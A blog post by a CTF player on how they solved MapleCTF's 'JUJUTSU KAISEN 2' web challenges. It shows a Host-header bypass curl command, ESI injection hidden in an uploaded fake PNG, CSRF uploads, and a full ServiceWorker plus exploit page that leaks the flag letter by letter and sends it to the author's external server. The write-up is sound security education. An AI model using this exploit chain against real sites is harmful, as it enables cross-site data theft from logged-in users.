This weekend I participated in MapleCTF, coming in 33rd overall. It was a great competition, with lots of interesting problems. I ended up spending most of my time on "JUJUTSU KAISEN 2". I didn't even have time to look at the two harder web problems. Overall I'm pretty proud of how I did in this competition, given that I was playing it solo and only 8 teams got the second Jujutsu problem.
I learned a lot, especially about ServiceWorkers, solving this problem. Without further ado, here's how I solved this challenge:
The Challenge
We are given a zip file containing a docker-compose setup with a number of services. They are:
- An nginx load balancer that connects to the varnish cache and provides TLS termination.
- Varnish caching layer that can connect to either the front-end app or the GraphQL backend.
- A front-end node.js app (jjk_app).
- A backend graphQL server (jjk_db) that powers the front-end app.
- A report bot (You give it a url, it then launches google chrome, logs into the app and navigates to a website of your choosing).
- A redis server backend for the report bot.
The front-end app is behind a login. You cannot register new accounts and you do not know the password (But the report bot does log in before visiting your site). The front-end app has two endpoints of interest, both behind auth. A characters list powered by the GraphQL backend, including the flag, and a "/newchar" endpoint that allows you to upload an image that is saved to the server.
The flag is in the DB, so you either need to get it from the front-end endpoint the shows the query, or you need to get it from the DB more directly.
The first challenge
There were two versions of this challenge. This is usually means that there was some sort of unintended solution, which the second harder version has patched.
Since we have the source code for both challenges, you can see how they differ in case that gives us a hint.
$ diff -ur jjk1/ jjk2/
[omitting some inconsequential minor changes for space]
diff -ur jjk1/nginx/default.conf jjk2/nginx/default.conf
--- jjk1/nginx/default.conf 2023-09-29 16:23:05.000000000 -0700
+++ jjk2/nginx/default.conf 2023-09-30 01:30:28.000000000 -0700
@@ -1,7 +1,7 @@
server {
listen 443 ssl;
- server_name localhost;
+ server_name jujutsu-kaisen-2.ctf.maplebacon.org;
ssl_certificate /etc/nginx/ssl/nginx.crt;
ssl_certificate_key /etc/nginx/ssl/nginx.key;
@@ -11,6 +11,6 @@
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto https;
proxy_set_header X-Forwarded-Port 443;
- proxy_set_header Host $host;
+ proxy_set_header Host "jjk_app";
}
-}
\ No newline at end of file
+}
This seems like a pretty clear hint that the solution to version 1 has something to do with the host header. It is the only thing of consequence that was modified.
There's pretty much only one thing you can do with a host header - change it. But what should we change it to?
Looking at the varnish config file, we see:
[..]
sub vcl_recv {
if (req.http.host ~ "jjk_db" && std.ip(client.ip, "17.17.17.17") ~ internal) {
set req.backend_hint = db_backend;
} else {
set req.backend_hint = app_backend;
}
}
So basically, there are two backends varnish can connect to depending on the host header. The IP ACL check may look concerning at first. However this check should be checking the X-Real-IP or X-Forwarded-For header, instead of the actual IP. The actual IP would be the nginx load balancer IP, which is always internal. Hence this check is ineffective.
In any case, clearly the other possible value for the host header is "jjk_db". Given we have strong suspicions something is wrong with how host headers are handled, it seems natural to try this other value.
Sure enough, if we set the host header to "jjk_db", we end up being connected directly to the GraphQL backend, and can query the flag.
$ curl -g 'https://jujutsu-kaisen.ctf.maplebacon.org/?query={getCharacters{edges{node{notes}}}}' --header 'Host: jjk_db'
which gave us the flag.
The second challenge
Without the diff providing a hint as to where to look, we are going to have to go over the challenge in much more detail.
Usually when doing a CTF challenge, the first thing I do is look for the stuff that is out of place. Often challenges are written to use fairly standard tech choices for most of it, and then do something weird just for the vulnerable part. A good first step is to imagine you have been asked to do code review on the app. What parts would you flag as "needs improvement" or otherwise don't make sense? Those parts are usually key to solving the problem.
The first thing that stands out to me like a sore thumb is the varnish config.
Here is the full default.vcl
vcl 4.1;
import std;
backend app_backend {
.host = "jjk_app";
.port = "9080";
}
backend db_backend {
.host = "jjk_db";
.port = "9090";
}
acl internal {
"localhost";
"192.168.0.0/16";
"172.0.0.0/8";
}
sub vcl_backend_response {
set beresp.do_esi = true;
}
sub vcl_recv {
if (req.http.host ~ "jjk_db" && std.ip(client.ip, "17.17.17.17") ~ internal) {
set req.backend_hint = db_backend;
} else {
set req.backend_hint = app_backend;
}
}
Additionally, if we look in docker-compose.yml, we see that varnish is started with an unusual command line argument: -p feature=+esi_disable_xml_check
All this sticks out for a number of reasons:
- It would be kind of unusual in general for a CTF challenge to have varnish caching if it wasn't part of the solution to the problem
- Especially because load balancing is already being handled by nginx
- Especially because it is mostly configured not to cache anything (Some static assets and 404 pages do get cached, but nothing that would be expensive to generate)
- It is weird how jjk_db is configured as a backend, despite the fact that jjk_app does not route through varnish but instead contacts jjk_db directly
- ESI while not totally unheard of, is somewhat of an obscure technology. Obscure technology choices should always raise eyebrows during CTFs.
- More importantly, the challenge does not actually use ESI to render anything. So why is it explicitly enabled?
- The custom command line argument is especially eyebrow raising. It is disabling a check for a technology that is not even used in the challenge. That sounds like it will be needed for the solution.
What is ESI?
It seems that there are a lot of hints here that ESI (Edge-side includes) is going to be important to this problem. So what is it?
ESI is a technology to allow CDN cache servers (e.g. varnish) to construct a page from multiple parts. You might want to use it if you want to cache different parts of your page for different times, or combine the results of different services into one page.
In essence, if you put <esi:include src="http://host/something.htm"/> in a page, the cdn server will substitute that url into the page at that point.
This should get our security spidey-senses going - it seems a bit like an SSRF. If we can sneak an ESI tag into the page, we can perhaps fetch the results of some page we are not normally allowed to access.
There is a big restriction though - in the varnish implementation you can only request urls that the varnish server is able to handle. You cannot request arbitrary urls from the internet.
What about the -p feature=+esi_disable_xml_check? I hadn't heard of this before, but a quick look at the official docs reveal that it makes varnish process ESI on all responses. By default ESI if enabled would only process responses that look like HTML (start with a <). With this feature enabled, other responses, including images, get processed too. The importance of this will soon become apparent.
The rest of the App
The varnish config sticks out the most, but what else sticks out in this challenge? The most obvious is the existence of a report bot. This indicates that the challenge will have some sort of client-side component. But what type of client-side attack? Normally my go to thought would be XSS since that is the most common type of client-side vuln, but there is another big hint in the jjk_app that indicates that this is more likely a CSRF challenge:
From app/app.py
app.config.update(
SESSION_COOKIE_SECURE=True,
SESSION_COOKIE_HTTPONLY=True, # default flask behavior just does this
SESSION_COOKIE_SAMESITE='None',
)
Setting SESSION_COOKIE_SAMESITE='None' clearly sticks out here. It should always stick out in a CTF challenge when a secure default is changed to something less secure.
Making cookies be SameSite="none" tells browsers to disable CSRF mitigations, and allow cookies to be sent on cross-site requests. This is a sure sign that CSRF is part of problem. Additionally, the challenge does not have any CSRF tokens, the traditional way to prevent CSRF from before SameSite cookies were a thing.
Interaction points
Once I have identified the things that are weird, my next step is to usually try and identify places in the app where interactions happen. Security vulns usually happens at the boundries between systems or between systems and users, so it is good to have a sense of where these are.
In this app we have (excluding entirely static endpoints):
- A login page (but no credentials)
- An api endpoint to view the list of characters as json, including flag, but no way to access it as it is behind login. Behind the scenes this makes a GraphQL query to jjk_db and displays the results. [This ends up being totally useless, but seems tantalizing at first glance]
- A /newchar API endpoint (behind auth), that allows us to submit a new character to the DB. However the part that actually modifies the DB is commented out, so the only thing we can do is upload a PNG file of the new character. Upoon success, this endpoint will redirect your POST request to the location of the newly uploaded file. This is the only write endpoint in the app
- File uploads are usually a security sensitive spot, so i spent some time looking through the upload code, but it all looked very secure to me. It does not care if the PNG file is valid, but there is no way to upload something with the wrong extension/content-type.
The challenge also provides a report bot. The report bot logs into the app (and thus getting cookies) and then goes to a URL provided by us. Given we already identified as CSRF being the likely issue due to disabling SameSite cookies, and there is only one write endpoint, this suggests that the attack involves a CSRF attack against the image upload newchar api as there are no other entry-points to attack.
Putting together a plan of attack
Based on the things that stood out while reading through the code, the pieces start to come together and a rough plan of attack unfolds:
- Use CSRF to upload a "PNG" file cross-domain
- Put ESI directives in the PNG file to query the GraphQL endpoint to retrieve the flag and insert it into the PNG file
- Somehow retrieve the PNG file to get the flag (???)
- Profit!
The third step, extracting the PNG file, is the hard part of this challenge. Lets put that aside for the moment, and talk about the first two steps first. The easiest step is making a PNG file with an ESI directive in it, so lets start there.
PNG file with ESI directives
This is pretty easy. The code does not care if the PNG file is valid, so we can just create a file containing:
<esi:include src="http://jjk_db/?query={getCharacters{edges{node{notes}}}}"/>
Name it something ending in .png, and we are good to go. To test this, i ran the app locally (docker-compose up). Since this is local, i know the username and password are "placeholder". To test, i simply navigated to https://localhost/newchar and filled out the form with the image (GET to this endpoint shows a form, POST does the upload).
When i first did this, it didn't work. I had forgotten the ending /. Varnish's ESI implementation requires the tag to be self-closing or it ignores it. To debug this, i did docker-compose exec varnish varnishlog which gives detailed debug logs of varnish's processing including ESI error messages. varnishlog and varnishncsa (basically the varnish access log) commands were quite helpful during debugging.
Once we hit submit on the form, we a redirected to the now uploaded image. Since we didn't make a real image, firefox shows it as broken, but if we download the image and open it in a text editor, we see the flag is present.
This feels like a promising step. We uploaded a file, which when retrieved has the flag in it. However we still have some ways to go. We were only able to upload because this is the local instance we know the password to. In the real challenge we must upload from having the report bot navigate to our website, so we have to find a way to do this cross-domain. We also need some way to obtain the PNG afterwards, again cross-domain despite the same origin poicy.
Uploading cross domain with CSRF
waitUntil: 'networkidle2',
timeout: 2 * 1000,
});
await loginPage.type('#username', ADMIN_USERNAME);
await loginPage.type('#password', ADMIN_PASSWORD);
await loginPage.evaluate(() => {
document.querySelector("#submit-login").click();
});
await loginPage.waitForNavigation({
waitUntil: 'networkidle2',
timeout: 2 * 1000,
});
const resp = await page.goto(url, {
waitUntil: 'load',
timeout: 3 * 1000,
});
var bytes = Uint8Array.from(atob(b64), c => c.charCodeAt(0))
var f = new File([bytes], "a.png", { type: 'image/png' });
var dataTransfer = new DataTransfer();
dataTransfer.items.add(f);
document.getElementById( 'file' ).files = dataTransfer.files;
document.getElementById( 'myform' ).submit();
var bytes = Uint8Array.from(atob(b64), c => c.charCodeAt(0))
var f = new File([bytes], "a.png", { type: 'image/png' });
body: form, /* This automatically changes the Content-Type header */
method: 'POST'
} ).then( result => { /* result is opaque */ } );
Extracting the PNG
- XSSI - You can load javascript & CSS cross domain. You could make the png file be something like var data = "secret stuff"; include it in your page, and then read the variables in js. The problem is that modern browsers require correct mime types if your JS or CSS is cross domain. So this would have worked in older browsers but not recent ones.
- Cache pollution. I played with the idea of trying to use the varnish cache as a side channel to leak the data. e.g. Forcing the answer to be cached a letter at a time and then trying to retrieve it later from a different host by looking at the age header when retrieving specific urls. The problem is that varnish seems to not be configured to cache the results of backend ESI fetches, so i wasn't able to alter the cache state from ESI afaict.
- <img> tags. Image tags have onerror and onload event handlers that distinguish between valid and invalid image files even cross domain. They also leak the width/height of the file (including 0x0 if invalid). This did not work because we do not know the url of the image, we only know we get redirected there after a POST. We can only set the img src to do a GET (However, this turns out to be not quite true, and is really important later)
- Timing oracle - we basically have a blind DB injection. If this was SQL i would be injecting sleep(5) and checking how long the request took to load. However GraphQL doesn't support sleeps or other complex operations one could easily construct a timing oracle out of. That said, after the competition, i found out some teams did solve it this way by forcing graphQL to make a really big multi-mb response, which was slow enought to be detected. I did not think of this.
- <object> tags. An <object> tag is like a weird combination of <img> and <iframe>. Like <img> you can distinguish between valid & invalid images using onload events. However you can also navigate them like an iframe. I spent a lot of time trying this but it ultimately did not work. More on this below
So none of these seemed to work immediately. However it did seem clear that given a PNG file, it is possible to leak cross domain whether or not the PNG file is a valid PNG file. This feels like something we could do with ESI. At this point I mistakenly thought I could use the <object> tag to leak this validity info cross domain. I was on the right track but <object> was the wrong approach. In any case I decided to create a payload that would leak the flag based on whether or not the resulting PNG is valid.
Making a PNG validity oracle
<object> tag
- Create an HTML document with a <form> that uploads this png file and auto submits via javascript (See the snippet in the earlier "Uploading cross domain with CSRF" section)
- Load this form in an <object> tag with an onload handler
- If the onload handler triggers once, then we know we have an invalid file (And hence guessed the flag prefix correctly). If it triggers twice, then we have a valid png and our guess is wrong.
This seems great. I implemented it and tested it out locally in firefox. It Worked (Assuming enhanced tracking protection is off)!
Problem solved, right? Not so fast.
I tried submitting my script to the report bot, and it did not work. As i debugged further, I realized that the report bot is using headless chrome, where I was testing in firefox. Appearently <object> is implemented quite differently between firefox and chrome.
In chrome we only get the onload event once, not every navigation. Additionally the object tag seems to choose whether it is an <img> or an <iframe> at initialization time. In <img> mode we get the different events with valid vs invalid, it adjusts the size based on the img, and svgs are run without scripts. On the other hand, in <iframe> mode, we do not get a distinction between valid & invalid images (both trigger onload events), the size of the element does not adjust for different size raster images (oddly enough it does adjust size for SVGs) and SVGs are run with scripts enabled.
It seems like it decides what mode to be in, first by looking at the type attribute. If that's missing then it looks at the extension in the url of the data attribute. If it ends up guessing wrong and being in <img> mode for something that has a Content-Type that is not an image, it appears to change into iframe mode and restart the load (i.e. you see two loads of the resource in the network tab). All this seems to only occur when first initializing. Once it is initalized it does not appear to change mode with future navigations.
All that's to say, my plan won't work. To get the events I want I need it to be in <img> mode, but i need it to first be in <iframe> mode to do the form submission. <object> has a target attribute potentially letting you submit a form into it from the outside, but that only works in <iframe> mode. So this seems a bit like a dead end. I can have one or the other behaviour, but I actually need a mix of both behaviours.
I tried a lot of things here for a long time, and nothing was working. At some point I had the bright idea to use ServiceWorkers.
Enter service workers
- Do a POST submission of the form using ajax. Make ServiceWorker cache it.
- Load the url in an <img> tag, ensuring the ServiceWorker uses the cached response
- Load the <object> tag, which would use the <img> tag as a source, allowing us to look at onload events.
I started implementing this, but then realized it was pretty silly. <img> tags also have onload/onerror events. There is no need to bother with the <object> tag if i can load the result of the form submission into an <img>. With that in mind i ditched the last step and just used the <img> tag.
Finally putting it altogether
- Create a PNG file with an <esi:include> tag in it
- The esi:include tag does a GraphQL query allowing us to guess one letter of the flag. If the guess is incorrect the PNG file is valid, otheriwse it become invalid.
- Make a CSRF request to the jjk_app uploading the png file. Have the service worker cache the response
- Load an <img> of the same url, ensuring the ServiceWorker uses the cached POST result
- Install onload and onerror handlers to the <img> tag
- If the onload handler is triggered the guess is incorrect and we try the next letter in the alphabet. If the onerror handler is triggered, the guess is correct. Save the letter and start guessing the next letter in the flag.
- Once we have the flag, make an ajax request back to our server to tell us what it is.
console.log(a);
//fetch( 'https://bawolff.net/map?log=' + encodeURIComponent(a), { "mode": "no-cors" } );
}
self.addEventListener('install', event => {
log( "Service worker installed" );
});
self.addEventListener('activate', event => {
log( "activating service worker" );
// Take over tabs immediately instead of waiting for next page load
self.clients.claim();
});
// This intercepts all network loads.
self.addEventListener('fetch', event => {
log( "ASKING for " + event.request.method + ' ' + event.request.url + ' in ' + event.request.mode + ' ' + event.request.destination );
if ( event.request.url.indexOf( '/newchar' ) === -1 ) {
log( "skipping " + event.request.url );
return;
}
event.respondWith(
// ignoreMethod probably not strictly needed here, since we don't save the original Request object in cache.
caches.match(event.request, { ignoreMethod: true, ignoreVary: true }).then(cachedResponse => {
if (cachedResponse) {
log( "SERVING " + event.request.method + ' ' + event.request.url + " from cache" );
// The docker image has a small space quote so delete when done.
caches.delete( event.request.url );
return cachedResponse;
}
return caches.open("mycache").then(cache => {
// We don't have the response, so fetch it from internet.
return fetch(event.request).then(response => {
// Put a copy of the response in cache. Note we save it under event.request.url
// instead of event.request, to ensure the fact it is a POST request was not saved.
return cache.put(event.request.url, response.clone()).then(() => {
log( "STORE_IN_CACHE " + event.request.url );
return response;
});
}).catch( function (err) {
log( err );
// Don't want an error to take down the whole service worker, so return a dummy response.
return new Response(new Blob(), {status:500} );
} );
});
})
);
});
<head>
<script>
// Load the service worker.
navigator.serviceWorker.register('service3.js');
function start() {
// Put a little delay to make sure ServiceWorker is activated
// More proper solution would be to postMessage after activation.
window.setTimeout( tryNext, 600 );
}
const imgStart = [137, 80, 78, 71, 13, 10, 26, 10, 0, 0, 0, 13, 73, 72, 68, 82, 0, 0, 0, 1, 0, 0, 0, 1, 1, 3, 0, 0, 0, 37, 219, 86, 202, 0, 0, 0, 6, 80, 76, 84, 69, 0, 128, 0, 255, 255, 255, 20, 63, 47, 79, 0, 0, 0, 46, 116, 69, 88, 116, 65, 114, 116, 105, 115, 116, 0, 60, 101, 115, 105, 58, 105, 110, 99, 108, 117, 100, 101, 32, 115, 114, 99, 61, 39, 104, 116, 116, 112, 58, 47, 47, 106, 106, 107, 95, 100, 98, 58, 57, 48, 57, 48, 47, 63, 113, 117, 101, 114, 121, 61, 123, 103, 101, 116, 67, 104, 97, 114, 97, 99, 116, 101, 114, 115, 40, 102, 105, 108, 116, 101, 114, 115, 58, 123, 110, 111, 116, 101, 115, 76, 105, 107, 101, 58, 34, 109, 97, 112, 108, 101, 123 ];
const imgEnd = [37, 50, 53, 34, 125, 41, 123, 101, 100, 103, 101, 115, 123, 110, 111, 100, 101, 123, 110, 111, 116, 101, 115, 125, 125, 125, 125, 39, 47, 62, 30, 68, 92, 77, 0, 0, 0, 10, 73, 68, 65, 84, 8, 91, 99, 96, 0, 0, 0, 2, 0, 1, 98, 64, 79, 104, 0, 0, 0, 0, 73, 69, 78, 68, 174, 66, 96, 130, 10 ];
// Cache busting for ease of testing.
const rand = Math.random();
const urlParams = new URLSearchParams(window.location.search);
var flagGuess = urlParams.get('prefix') || '';
const urlPrefix = urlParams.get( 'url' )
// During testing use: 'https://nginx/newchar?guess='
// for the real deal use: 'https://jujutsu-kaisen-2.ctf.maplebacon.org/newchar?guess=';
var a = [ "---", "---","a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", '}' ];
var i = 0;
// Generate our image to upload.
function getFormData(url) {
var guess = url.substring(urlPrefix.length);
var imgMid = [];
for (var i = 0; i < guess.length; i++ ) {
imgMid[imgMid.length] = guess.charCodeAt(i);
}
var form = new FormData();
var blob = Uint8Array.from(imgStart.concat( imgMid, imgEnd) );
var f = new File([blob], "a.png", { type: 'image/png' });
form.append( 'file', f );
return form;
}
// Invalid PNG file means guess was succesful. Save and move to next letter in flag.
function onerr(e) {
console.log("SUCCESS " + e.target.title);
// Report back on success.
fetch( "https://bawolff.net/map/YES/" + e.target.title + '?' + rand, { "mode": "no-cors" } );
if ( e.target.title === '---' ) {
// Hack, sometimes the first attempt wasn't working.
tryNext();
return;
}
flagGuess = e.target.title;
if ( flagGuess.length < 40 ) {
i = 0;
tryNext();
}
};
// PNG was invalid or first time. Try next letter in alphabet.
function tryNext(e) {
if ( e ) {
console.log( "failed: " + e.target.title );
fetch( "https://bawolff.net/map/fail/" + e.target.title, { "mode": "no-cors" } );
}
if ( i >= a.length ) {
fetch( "https://bawolff.net/map/TriedAll/" + flagGuess + '?' + rand, { "mode": "no-cors" } );
console.log( "tried all" );
return;
}
console.log( "Setting: " + flagGuess + a[i] );
fetch( urlPrefix + flagGuess + a[i] + '&bust=' + rand, {
mode: 'no-cors',
credentials': 'include', /* include login cookies */
body: getFormData( urlPrefix + flagGuess + a[i] ),
method: 'POST'
} ).then( result => {
window.setTimeout( function () {
var elm = new Image();
elm.title = flagGuess + a[i];
elm.onerror = onerr
elm.onload = tryNext;
elm.src = urlPrefix + flagGuess + a[i] + '&bust=' + rand;
i++;
}, 100 );
} )
}
</script>
<body onload="start()">jjk script.
</body>
</html>
No comments:
Post a Comment